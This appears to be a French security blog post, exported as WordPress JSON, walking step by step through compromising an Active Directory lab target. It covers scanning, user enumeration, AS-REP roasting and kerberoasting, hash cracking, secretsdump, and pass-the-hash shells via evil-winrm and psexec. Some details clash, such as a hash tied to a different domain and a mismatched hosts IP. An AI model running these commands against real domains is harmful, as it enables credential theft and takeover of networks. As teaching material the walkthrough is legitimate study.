{"id":467,"date":"2021-06-27T21:26:02","date_gmt":"2021-06-28T02:26:02","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=467"},"modified":"2021-07-10T07:07:59","modified_gmt":"2021-07-10T12:07:59","slug":"exploration-dun-activedirectory-avec-nmap-smbclient-get","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/06\/27\/exploration-dun-activedirectory-avec-nmap-smbclient-get\/","title":{"rendered":"Exploration d&#8217;un ActiveDirectory avec nmap , smbclient, GetNPUsers.py, kerbrute et enum4linux"},"content":{"rendered":"<p>Il est possible de prendre possession d&#8217;un ActiveDiectory si nous r\u00e9ussissons \u00e0 cracker le mot de passe de l&#8217;administrateur.<\/p>\n<p>On commence par \u00e9num\u00e9rer les services pr\u00e9sents sur le AD<\/p>\n<p><pre><code>\n \n\nr0cker@kali:~$ sudo nmap -p- -A -nP 10.10.74.213\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-06-28 07:17 EDT\nNmap scan report for 10.10.74.213\nHost is up (0.086s latency).\nNot shown: 65509 closed ports\nPORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;STATE SERVICE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VERSION\n53\/tcp&nbsp;&nbsp;&nbsp;&nbsp;open&nbsp;&nbsp;domain&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Simple DNS Plus\n80\/tcp&nbsp;&nbsp;&nbsp;&nbsp;open&nbsp;&nbsp;http&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Microsoft IIS httpd 10.0\n| http-methods: \n|_&nbsp;&nbsp;Potentially risky methods: TRACE\n|_http-server-header: Microsoft-IIS\/10.0\n|_http-title: IIS Windows Server\n88\/tcp&nbsp;&nbsp;&nbsp;&nbsp;open&nbsp;&nbsp;kerberos-sec&nbsp;&nbsp;Microsoft Windows Kerberos (server time: 2021-06-28 11:25:31Z)\n135\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;msrpc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows RPC\n139\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;netbios-ssn&nbsp;&nbsp; Microsoft Windows netbios-ssn\n389\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;ldap&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Microsoft Windows Active Directory LDAP (Domain: searchevolution.local0., Site: Default-First-Site-Name)\n445\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;microsoft-ds?\n464\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;kpasswd5?\n593\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;ncacn_http&nbsp;&nbsp;&nbsp;&nbsp;Microsoft Windows RPC over HTTP 1.0\n636\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;tcpwrapped\n3268\/tcp&nbsp;&nbsp;open&nbsp;&nbsp;ldap&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Microsoft Windows Active Directory LDAP (Domain: searchevolution.local0., Site: Default-First-Site-Name)\n3269\/tcp&nbsp;&nbsp;open&nbsp;&nbsp;tcpwrapped\n3389\/tcp&nbsp;&nbsp;open&nbsp;&nbsp;ms-wbt-server Microsoft Terminal Services\n| rdp-ntlm-info: \n|&nbsp;&nbsp; Target_Name: GM-AD\n|&nbsp;&nbsp; NetBIOS_Domain_Name: GM-AD\n|&nbsp;&nbsp; NetBIOS_Computer_Name: R0CKERACTIVEDI\n|&nbsp;&nbsp; DNS_Domain_Name: searchevolution.local\n|&nbsp;&nbsp; DNS_Computer_Name: r0ckerAD.searchevolution.local\n|&nbsp;&nbsp; Product_Version: 10.0.17763\n|_&nbsp;&nbsp;System_Time: 2021-06-28T11:26:43+00:00\n| ssl-cert: Subject: commonName=r0ckerAD.searchevolution.local\n| Not valid before: 2021-06-27T11:17:22\n|_Not valid after:&nbsp;&nbsp;2021-12-27T11:17:22\n|_ssl-date: 2021-06-28T11:26:52+00:00; +1s from scanner time.\n5985\/tcp&nbsp;&nbsp;open&nbsp;&nbsp;http&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Microsoft HTTPAPI httpd 2.0 (SSDP\/UPnP)\n|_http-server-header: Microsoft-HTTPAPI\/2.0\n|_http-title: Not Found\n9389\/tcp&nbsp;&nbsp;open&nbsp;&nbsp;mc-nmf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.NET Message Framing\n47001\/tcp open&nbsp;&nbsp;http&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Microsoft HTTPAPI httpd 2.0 (SSDP\/UPnP)\n|_http-server-header: Microsoft-HTTPAPI\/2.0\n|_http-title: Not Found\n49664\/tcp open&nbsp;&nbsp;msrpc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows RPC\n49665\/tcp open&nbsp;&nbsp;msrpc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows RPC\n49667\/tcp open&nbsp;&nbsp;msrpc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows RPC\n49669\/tcp open&nbsp;&nbsp;msrpc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows RPC\n49672\/tcp open&nbsp;&nbsp;msrpc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows RPC\n49675\/tcp open&nbsp;&nbsp;ncacn_http&nbsp;&nbsp;&nbsp;&nbsp;Microsoft Windows RPC over HTTP 1.0\n49676\/tcp open&nbsp;&nbsp;msrpc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows RPC\n49679\/tcp open&nbsp;&nbsp;msrpc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows RPC\n49683\/tcp open&nbsp;&nbsp;msrpc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows RPC\n49696\/tcp open&nbsp;&nbsp;msrpc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows RPC\nNo exact OS matches for host (If you know what OS is running on it, see https:\/\/nmap.org\/submit\/ ).\nTCP\/IP fingerprint:\nOS:SCAN(V=7.91%E=4%D=6\/28%OT=53%CT=1%CU=30229%PV=Y%DS=2%DC=T%G=Y%TM=60D9B1F\nOS:E%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS=S%TS=\nOS:U)OPS(O1=M505NW8NNS%O2=M505NW8NNS%O3=M505NW8%O4=M505NW8NNS%O5=M505NW8NNS\nOS:%O6=M505NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%\nOS:DF=Y%T=80%W=FFFF%O=M505NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=\nOS:0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S\nOS:=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=\nOS:Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=\nOS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T\nOS:=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=\nOS:Z)\n\nNetwork Distance: 2 hops\nService Info: Host: R0CKERACTIVEDI; OS: Windows; CPE: cpe:\/o:microsoft:windows\n\nHost script results:\n|_clock-skew: mean: 1s, deviation: 1s, median: 0s\n| smb2-security-mode: \n|&nbsp;&nbsp; 2.02: \n|_&nbsp;&nbsp;&nbsp;&nbsp;Message signing enabled and required\n| smb2-time: \n|&nbsp;&nbsp; date: 2021-06-28T11:26:47\n|_&nbsp;&nbsp;start_date: N\/A\n\nTRACEROUTE (using port 1720\/tcp)\nHOP RTT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ADDRESS\n1&nbsp;&nbsp; 85.42 ms 10.9.0.1\n2&nbsp;&nbsp; 85.51 ms 10.10.74.213\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 535.97 seconds\n\n<\/code><\/pre><\/p>\n<p>Nous pouvons \u00e0 pr\u00e9sent mettre le DNS_Domain_name du service 3389 dans notre fichier hosts, ce qui nous simplifiera la vie par la suite<\/p>\n<p><pre><code>\necho &quot;10.9.0.15 searchevolution.local&quot; &gt;&gt; \/etc\/hosts\n<\/code><\/pre><\/p>\n<p>Nous pouvons par la suite poursuivre l&#8217;\u00e9num\u00e9ration avec l&#8217;outil enum4linux<\/p>\n<p><pre><code>\nenum4linux -a searchevolution.local\n<\/code><\/pre><\/p>\n<p>Si l&#8217;outil ne retrouve pas de noms d&#8217;usagers et\/ou des mots de passe, nous pouvons continuer avec kerbrute. Il permet d&#8217;avoir des noms d&#8217;usager avec la force brute. Je vous recommande de t\u00e9l\u00e9charger un <a href=\"https:\/\/raw.githubusercontent.com\/Sq00ky\/attacktive-directory-tools\/master\/userlist.txt\">dictionnaire d&#8217;usagers<\/a> avant de commencer.<\/p>\n<p><pre><code>\n kerbrute userenum -d searchevolution.local --dc searchevolution.local userlist.txt -t 100\nrpcclient -U &quot;&quot; searchevolution.local #deuxi\u00e8me m\u00e9thode\nldapsearch -x -h searchevolution.local -b base namingcontext #troisi\u00e8me m\u00e9thode\nimpacket-lookupsid searchevolution.local\/guest@10.10.10.10\n<\/code><\/pre><\/p>\n<p>Nous pouvons maintenant obtenir les kerberos ticket avec l&#8217;outil GetNPUsers.py des <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\">Impacket<\/a> et tenter de les d\u00e9crypter. Ici svc-admin a \u00e9t\u00e9 retrouv\u00e9 avec l&#8217;outil kerbrute. Il est \u00e9vident que c&#8217;est un compte privil\u00e9gi\u00e9.<br \/>\n<pre><code>\npython3 GetNPUsers.py searchevolution.local\/svc-admin -no-pass\n<\/code><\/pre><\/p>\n<p>Nous obtenons un TGT du style $krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:d384fde3298ef72af4c964868f9d6726$c6bd6f49d0b6510241140beb03a879838d5324b2840c7287e5e6cf1a8085b22bd22ff4263346d3f0da20f791f4d04257976105c906389c9646f23616914ee2e00b635c87cc3082cd32306e27928812fa903537139242c4965b9ddea249b47546c02683a89db77089404e648e6c110b6aa7d37810848daf24e3bf3559fe8436cbbacdd4882a070e98a74b7feca348e23b4303a06d5f3c139e86a5d3a46b65c83efe4f6e077d9045d1b52fa5825bc2402e2da8525d072055b58977fd598edb57b426af4b6cb99b75303ac9eb7dee7119470b29ca9e9f1b0a4810800b94f730f6ef2c06d82e9d616aa5f0088bc5b3f326f7ffff que nous \u00e9crivons dans un fichier &#8220;hash&#8221;.<\/p>\n<p>Nous pouvons par la suite tenter de cracker ce fichier avec john .Pour votre information, avec hashchat le mode est &#8220;18200&#8221;\tKerberos 5, etype 23, AS-REP.<br \/>\n<pre><code>\njohn hash --wordlist=\/usr\/share\/wordlists\/rockyou.txt\ncode&gt;\n\n Nous aurions aussi pu aussi cracker le mot de passe de svc-admin en mettant la sortie de kerbrute dans un fichier ntlm_hash.txt\n&lt;code&gt;\nhashcat -m 1000 ntlm_hash.txt \/usr\/share\/wordlists\/rockyou.txt\n<\/code><\/pre><\/p>\n<p>Nous aurions pu faire du kerberoasting si nous avions d\u00e9j\u00e0 un usager.<br \/>\n<pre><code> python3 GetUserSPNs.py &#039;searchevolution.local\/r0cker:mypassword&#039; -outputfile hashes.kerberoast -dc-ip 10.10.253.123\nhashcat.exe -m 13100 hashes.kerberoast rockyou.txt\n<\/code><\/pre><\/p>\n<p>Nous pouvons maintenant nous connecter avec smbclient pour avoir acc\u00e8es \u00e0 certains partages puisque nous avons le mot de passe.<\/p>\n<p>Si nous r\u00e9ussissons \u00e0 obtenir le mot de passe de l&#8217;utilisateur &#8220;backup&#8221; , nous pourrons avoir une copie des hashes des usagers et pratiquer une attaque du style pass the hash.<\/p>\n<p><pre><code>\npython3 secretsdump.py -just-dc backup@searchevolution.local&nbsp;&nbsp;#il faut indiquer le mot de passe ici\n<\/code><\/pre><\/p>\n<p>Nous pouvons \u00e9num\u00e9rer les shares que nous avons acc\u00e8s avec un usager<br \/>\n<code>crackmapexec smb 10.10.111.177 -u r0cker -p &quot;gfdjskgh&quot; -M spider_plus #regarder le fichier dans le OUTPUT<\/code><\/p>\n<p>Nous pouvons aussi utiliser l&#8217;outil evil-winrm pour faire une attaque du style pass the hash si nous avons obtenu le dump avec secretsdump.py (partie nthash du dump)<\/p>\n<p><pre><code>\nevil-winrm -i searchevolution.local -u Administrator -H 0e0363213e37b94221497260b0bcb4fc\n<\/code><\/pre><\/p>\n<p>D&#8217;autres possibilit\u00e9s pour obtenir un shell adminstrateur<br \/>\n<pre><code>psexec.py r0cker:gfdjskgh@10.10.111.177 #alternative\nimpacket-wmiexec searchevolution.local\/r0cker@10.10.111.77 #alternative<\/code><\/pre><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Il est possible de prendre possession d&#8217;un ActiveDiectory si nous r\u00e9ussissons \u00e0 cracker le mot de passe de l&#8217;administrateur. On commence par \u00e9num\u00e9rer les services pr\u00e9sents sur le AD r0cker@kali:~$ sudo nmap -p- -A -nP 10.10.74.213 Starting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-06-28 07:17 EDT Nmap scan report for 10.10.74.213 Host is up (0.086s latency). Not shown: 65509 closed ports PORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;STATE SERVICE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VERSION 53\/tcp&nbsp;&nbsp;&nbsp;&nbsp;open&nbsp;&nbsp;domain&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Simple DNS Plus 80\/tcp&nbsp;&nbsp;&nbsp;&nbsp;open&nbsp;&nbsp;http&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Microsoft IIS httpd 10.0 | http-methods: |_&nbsp;&nbsp;Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS\/10.0 |_http-title: IIS Windows Server 88\/tcp&nbsp;&nbsp;&nbsp;&nbsp;open&nbsp;&nbsp;kerberos-sec&nbsp;&nbsp;Microsoft Windows Kerberos (server time: 2021-06-28 11:25:31Z) 135\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;msrpc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows RPC 139\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;netbios-ssn&nbsp;&nbsp; Microsoft Windows netbios-ssn <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.4 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Exploration d&#039;un ActiveDirectory avec nmap , smbclient, GetNPUsers.py, kerbrute et enum4linux - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/06\/27\/exploration-dun-activedirectory-avec-nmap-smbclient-get\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Exploration d&#039;un ActiveDirectory avec nmap , smbclient, GetNPUsers.py, kerbrute et enum4linux - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"Il est possible de prendre possession d&#8217;un ActiveDiectory si nous r\u00e9ussissons \u00e0 cracker le mot de passe de l&#8217;administrateur. On commence par \u00e9num\u00e9rer les services pr\u00e9sents sur le AD r0cker@kali:~$ sudo nmap -p- -A -nP 10.10.74.213 Starting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-06-28 07:17 EDT Nmap scan report for 10.10.74.213 Host is up (0.086s latency). Not shown: 65509 closed ports PORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;STATE SERVICE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VERSION 53\/tcp&nbsp;&nbsp;&nbsp;&nbsp;open&nbsp;&nbsp;domain&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Simple DNS Plus 80\/tcp&nbsp;&nbsp;&nbsp;&nbsp;open&nbsp;&nbsp;http&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Microsoft IIS httpd 10.0 | http-methods: |_&nbsp;&nbsp;Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS\/10.0 |_http-title: IIS Windows Server 88\/tcp&nbsp;&nbsp;&nbsp;&nbsp;open&nbsp;&nbsp;kerberos-sec&nbsp;&nbsp;Microsoft Windows Kerberos (server time: 2021-06-28 11:25:31Z) 135\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;msrpc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows RPC 139\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;netbios-ssn&nbsp;&nbsp; Microsoft Windows netbios-ssn\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.searchevolution.com\/security\/2021\/06\/27\/exploration-dun-activedirectory-avec-nmap-smbclient-get\/\" \/>\n<meta property=\"og:site_name\" content=\"S\u00e9curiser votre site\" \/>\n<meta property=\"article:published_time\" content=\"2021-06-28T02:26:02+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2021-07-10T12:07:59+00:00\" \/>\n<meta name=\"author\" content=\"Germain\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Germain\" \/>\n\t<meta name=\"twitter:label2\" content=\"Estimation du temps de lecture\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/06\/27\/exploration-dun-activedirectory-avec-nmap-smbclient-get\/\",\"url\":\"https:\/\/www.searchevolution.com\/security\/2021\/06\/27\/exploration-dun-activedirectory-avec-nmap-smbclient-get\/\",\"name\":\"Exploration d'un ActiveDirectory avec nmap , smbclient, GetNPUsers.py, kerbrute et enum4linux - S\u00e9curiser votre site\",\"isPartOf\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/#website\"},\"datePublished\":\"2021-06-28T02:26:02+00:00\",\"dateModified\":\"2021-07-10T12:07:59+00:00\",\"author\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/06\/27\/exploration-dun-activedirectory-avec-nmap-smbclient-get\/#breadcrumb\"},\"inLanguage\":\"fr-CA\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.searchevolution.com\/security\/2021\/06\/27\/exploration-dun-activedirectory-avec-nmap-smbclient-get\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/2021\/06\/27\/exploration-dun-activedirectory-avec-nmap-smbclient-get\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.searchevolution.com\/security\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Exploration d&#8217;un ActiveDirectory avec nmap , smbclient, GetNPUsers.py, kerbrute et enum4linux\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#website\",\"url\":\"https:\/\/www.searchevolution.com\/security\/\",\"name\":\"S\u00e9curiser votre site\",\"description\":\"Conna\u00eetre son ennemi\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.searchevolution.com\/security\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"fr-CA\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8\",\"name\":\"Germain\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-CA\",\"@id\":\"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g\",\"caption\":\"Germain\"},\"sameAs\":[\"https:\/\/www.searchevolution.com\/security\"],\"url\":\"https:\/\/www.searchevolution.com\/security\/author\/germain\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Exploration d'un ActiveDirectory avec nmap , smbclient, GetNPUsers.py, kerbrute et enum4linux - S\u00e9curiser votre site","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.searchevolution.com\/security\/2021\/06\/27\/exploration-dun-activedirectory-avec-nmap-smbclient-get\/","og_locale":"fr_CA","og_type":"article","og_title":"Exploration d'un ActiveDirectory avec nmap , smbclient, GetNPUsers.py, kerbrute et enum4linux - S\u00e9curiser votre site","og_description":"Il est possible de prendre possession d&#8217;un ActiveDiectory si nous r\u00e9ussissons \u00e0 cracker le mot de passe de l&#8217;administrateur. On commence par \u00e9num\u00e9rer les services pr\u00e9sents sur le AD r0cker@kali:~$ sudo nmap -p- -A -nP 10.10.74.213 Starting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-06-28 07:17 EDT Nmap scan report for 10.10.74.213 Host is up (0.086s latency). Not shown: 65509 closed ports PORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;STATE SERVICE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VERSION 53\/tcp&nbsp;&nbsp;&nbsp;&nbsp;open&nbsp;&nbsp;domain&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Simple DNS Plus 80\/tcp&nbsp;&nbsp;&nbsp;&nbsp;open&nbsp;&nbsp;http&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Microsoft IIS httpd 10.0 | http-methods: |_&nbsp;&nbsp;Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS\/10.0 |_http-title: IIS Windows Server 88\/tcp&nbsp;&nbsp;&nbsp;&nbsp;open&nbsp;&nbsp;kerberos-sec&nbsp;&nbsp;Microsoft Windows Kerberos (server time: 2021-06-28 11:25:31Z) 135\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;msrpc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microsoft Windows RPC 139\/tcp&nbsp;&nbsp; open&nbsp;&nbsp;netbios-ssn&nbsp;&nbsp; Microsoft Windows netbios-ssn","og_url":"https:\/\/www.searchevolution.com\/security\/2021\/06\/27\/exploration-dun-activedirectory-avec-nmap-smbclient-get\/","og_site_name":"S\u00e9curiser votre site","article_published_time":"2021-06-28T02:26:02+00:00","article_modified_time":"2021-07-10T12:07:59+00:00","author":"Germain","twitter_card":"summary_large_image","twitter_misc":{"\u00c9crit par":"Germain","Estimation du temps de lecture":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.searchevolution.com\/security\/2021\/06\/27\/exploration-dun-activedirectory-avec-nmap-smbclient-get\/","url":"https:\/\/www.searchevolution.com\/security\/2021\/06\/27\/exploration-dun-activedirectory-avec-nmap-smbclient-get\/","name":"Exploration d'un ActiveDirectory avec nmap , smbclient, GetNPUsers.py, kerbrute et enum4linux - S\u00e9curiser votre site","isPartOf":{"@id":"https:\/\/www.searchevolution.com\/security\/#website"},"datePublished":"2021-06-28T02:26:02+00:00","dateModified":"2021-07-10T12:07:59+00:00","author":{"@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8"},"breadcrumb":{"@id":"https:\/\/www.searchevolution.com\/security\/2021\/06\/27\/exploration-dun-activedirectory-avec-nmap-smbclient-get\/#breadcrumb"},"inLanguage":"fr-CA","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.searchevolution.com\/security\/2021\/06\/27\/exploration-dun-activedirectory-avec-nmap-smbclient-get\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.searchevolution.com\/security\/2021\/06\/27\/exploration-dun-activedirectory-avec-nmap-smbclient-get\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.searchevolution.com\/security\/"},{"@type":"ListItem","position":2,"name":"Exploration d&#8217;un ActiveDirectory avec nmap , smbclient, GetNPUsers.py, kerbrute et enum4linux"}]},{"@type":"WebSite","@id":"https:\/\/www.searchevolution.com\/security\/#website","url":"https:\/\/www.searchevolution.com\/security\/","name":"S\u00e9curiser votre site","description":"Conna\u00eetre son ennemi","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.searchevolution.com\/security\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"fr-CA"},{"@type":"Person","@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/e1318e0782dc5a7d6b03471347f881d8","name":"Germain","image":{"@type":"ImageObject","inLanguage":"fr-CA","@id":"https:\/\/www.searchevolution.com\/security\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/6a203854efbec130dd49471ccbba1abc?s=96&d=mm&r=g","caption":"Germain"},"sameAs":["https:\/\/www.searchevolution.com\/security"],"url":"https:\/\/www.searchevolution.com\/security\/author\/germain\/"}]}},"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/467"}],"collection":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/comments?post=467"}],"version-history":[{"count":9,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/467\/revisions"}],"predecessor-version":[{"id":533,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/467\/revisions\/533"}],"wp:attachment":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/media?parent=467"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/categories?post=467"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/tags?post=467"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}